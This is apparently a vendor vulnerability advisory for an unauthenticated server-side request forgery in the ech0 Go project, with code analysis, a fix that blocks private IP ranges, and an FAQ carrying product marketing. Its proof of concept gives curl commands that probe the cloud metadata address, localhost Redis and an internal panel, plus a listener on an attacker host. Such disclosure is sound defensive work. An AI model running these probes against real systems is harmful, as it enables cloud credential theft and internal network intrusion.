Summary
The GET /api/website/title endpoint accepts an arbitrary URL via the website_url query parameter and makes a server-side HTTP request to it without any validation of the target host or IP address. The endpoint requires no authentication. An attacker can use this to reach internal network services, cloud metadata endpoints (169.254.169.254), and localhost-bound services, with partial response data exfiltrated via the HTML <title> tag extraction.
Details
The vulnerability exists in the interaction between four components:
1. Route registration, no authentication (internal/router/common.go:11):
appRouterGroup.PublicRouterGroup.GET("/website/title", h.CommonHandler.GetWebsiteTitle())
The PublicRouterGroup is created at internal/router/router.go:34 as r.Group("/api") with no auth middleware attached (unlike AuthRouterGroup which uses JWTAuthMiddleware).
2. Handler, no input validation (internal/handler/common/common.go:106-127):
func (commonHandler *CommonHandler) GetWebsiteTitle() gin.HandlerFunc {
return res.Execute(func(ctx *gin.Context) res.Response {
var dto commonModel.GetWebsiteTitleDto
if err := ctx.ShouldBindQuery(&dto); err != nil { ... }
title, err := commonHandler.commonService.GetWebsiteTitle(dto.WebSiteURL)
...
})
}
The DTO (internal/model/common/common_dto.go:155-156) only enforces binding:"required", no URL scheme or host validation.
3. Service, TrimURL is cosmetic (internal/service/common/common.go:122-125):
func (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) {
websiteURL = httpUtil.TrimURL(websiteURL)
body, err := httpUtil.SendRequest(websiteURL, "GET", httpUtil.Header{}, 10*time.Second)
...
}
TrimURL (internal/util/http/http.go:16-26) only calls TrimSpace, TrimPrefix("/"), and TrimSuffix("/"). No SSRF protections.
4. HTTP client, unrestricted outbound request (internal/util/http/http.go:53-84):
client := &http.Client{
Timeout: clientTimeout,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
},
}
req, err := http.NewRequest(method, url, nil)
...
resp, err := client.Do(req)
The client follows redirects (Go default), skips TLS verification, and has no restrictions on target IP ranges.
The response body is parsed for <title> tags and the extracted title is returned to the attacker, providing a data exfiltration channel for any response containing HTML title elements.
PoC
Step 1: Probe cloud metadata endpoint (AWS)
curl -s 'http://localhost:8080/api/website/title?website_url=http://169.254.169.254/latest/meta-data/'
If the Ech0 instance runs on AWS EC2, the server will make a request to the instance metadata service. While the metadata response is not HTML, this confirms network reachability.
Step 2: Probe internal localhost services
curl -s 'http://localhost:8080/api/website/title?website_url=http://127.0.0.1:6379/'
Probes for Redis on localhost. Connection success/failure and error messages reveal internal service topology.
Step 3: Exfiltrate data from internal web services with HTML title tags
curl -s 'http://localhost:8080/api/website/title?website_url=http://internal-admin-panel.local/'
If the internal service returns an HTML page with a <title> tag, its content is returned to the attacker.
Step 4: Confirm with a controlled external server
# On attacker machine:
python3 -c "from http.server import HTTPServer, BaseHTTPRequestHandler
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type','text/html')
self.end_headers()
self.wfile.write(b'<html><head><title>SSRF-CONFIRMED</title></head></html>')
HTTPServer(('0.0.0.0',9999),H).serve_forever()" &
# From any client:
curl -s 'http://<ech0-host>:8080/api/website/title?website_url=http://<attacker-ip>:9999/'
Expected response contains "data":"SSRF-CONFIRMED", proving the server made an outbound request to the attacker-controlled URL.
Impact
- Cloud credential theft: An attacker can reach cloud metadata services (AWS IMDSv1 at
169.254.169.254, GCP, Azure) to steal IAM credentials, API tokens, and instance configuration data. - Internal network reconnaissance: Port scanning and service discovery of internal hosts that are not directly accessible from the internet.
- Localhost service interaction: Access to services bound to
127.0.0.1(databases, caches, admin panels) that rely on network-level isolation for security. - Firewall bypass: The server acts as a proxy, allowing attackers to bypass network ACLs and reach otherwise-protected internal infrastructure.
- Data exfiltration: Partial response content is leaked through the
<title>tag extraction. While limited, this is sufficient to extract sensitive data from services that return HTML responses.
The attack requires no authentication and can be performed by any anonymous internet user with network access to the Ech0 instance.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-35037 has a CVSS score of 7.2 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.4.8-0.20260401031029-4ca56fea5ba4); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Add URL validation in GetWebsiteTitle to block requests to private/reserved IP ranges and restrict allowed schemes. In internal/service/common/common.go:
import (
"net"
"net/url"
)
func isPrivateIP(ip net.IP) bool {
privateRanges := []string{
"127.0.0.0/8",
"10.0.0.0/8",
"172.16.0.0/12",
"192.168.0.0/16",
"169.254.0.0/16",
"::1/128",
"fc00::/7",
"fe80::/10",
}
for _, cidr := range privateRanges {
_, network, _ := net.ParseCIDR(cidr)
if network.Contains(ip) {
return true
}
}
return false
}
func (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) {
websiteURL = httpUtil.TrimURL(websiteURL)
// Validate URL scheme
parsed, err := url.Parse(websiteURL)
if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
return "", errors.New("only http and https URLs are allowed")
}
// Resolve hostname and block private IPs
host := parsed.Hostname()
ips, err := net.LookupIP(host)
if err != nil {
return "", fmt.Errorf("failed to resolve hostname: %w", err)
}
for _, ip := range ips {
if isPrivateIP(ip) {
return "", errors.New("requests to private/internal addresses are not allowed")
}
}
body, err := httpUtil.SendRequest(websiteURL, "GET", httpUtil.Header{}, 10*time.Second)
// ... rest unchanged
}
Additionally, consider:
- Removing
InsecureSkipVerify: truefromSendRequestininternal/util/http/http.go:69 - Disabling redirect following in the HTTP client (
CheckRedirectreturninghttp.ErrUseLastResponse) or re-validating the target IP after each redirect to prevent DNS rebinding - Adding rate limiting to this endpoint
Frequently Asked Questions
- What is CVE-2026-35037? CVE-2026-35037 is a high-severity server-side request forgery (SSRF) vulnerability in github.com/lin-snow/ech0 (go), affecting versions < 1.4.8-0.20260401031029-4ca56fea5ba4. It is fixed in 1.4.8-0.20260401031029-4ca56fea5ba4. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2026-35037? CVE-2026-35037 has a CVSS score of 7.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/lin-snow/ech0 are affected by CVE-2026-35037? github.com/lin-snow/ech0 (go) versions < 1.4.8-0.20260401031029-4ca56fea5ba4 is affected.
- Is there a fix for CVE-2026-35037? Yes. CVE-2026-35037 is fixed in 1.4.8-0.20260401031029-4ca56fea5ba4. Upgrade to this version or later.
- Is CVE-2026-35037 exploitable, and should I be worried? Whether CVE-2026-35037 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-35037 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-35037? Upgrade
github.com/lin-snow/ech0to 1.4.8-0.20260401031029-4ca56fea5ba4 or later.